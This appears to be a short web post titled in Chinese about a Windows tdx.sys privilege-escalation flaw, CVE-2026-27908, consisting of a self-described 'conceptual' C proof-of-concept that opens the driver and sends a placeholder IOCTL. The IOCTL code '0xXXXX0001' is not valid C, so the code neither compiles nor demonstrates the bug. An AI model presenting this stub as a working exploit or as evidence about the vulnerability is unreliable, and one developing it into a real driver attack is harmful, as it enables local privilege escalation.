CVE-2026-27908 Windows TDI驱动权限提升漏洞

/* * PoC for CVE-2026-27908 (Conceptual) * Target: Windows TDI Translation Driver (tdx.sys) * Type: Use After Free / Local Privilege Escalation */ #include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100]; // 1. Obtain handle to the vulnerable driver hDevice = CreateFileA("\\\\.\\tdx", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Handle to tdx.sys acquired: 0x%p\n", hDevice); // 2. Prepare input buffer to trigger the UAF memset(buffer, 0x41, sizeof(buffer)); // 3. Send the malicious IOCTL (Hypothetical IOCTL) BOOL result = DeviceIoControl(hDevice, 0xXXXX0001, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); if (result) { printf("[+] IOCTL sent successfully. Triggering UAF...\n"); } else { printf("[-] Failed to send IOCTL. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }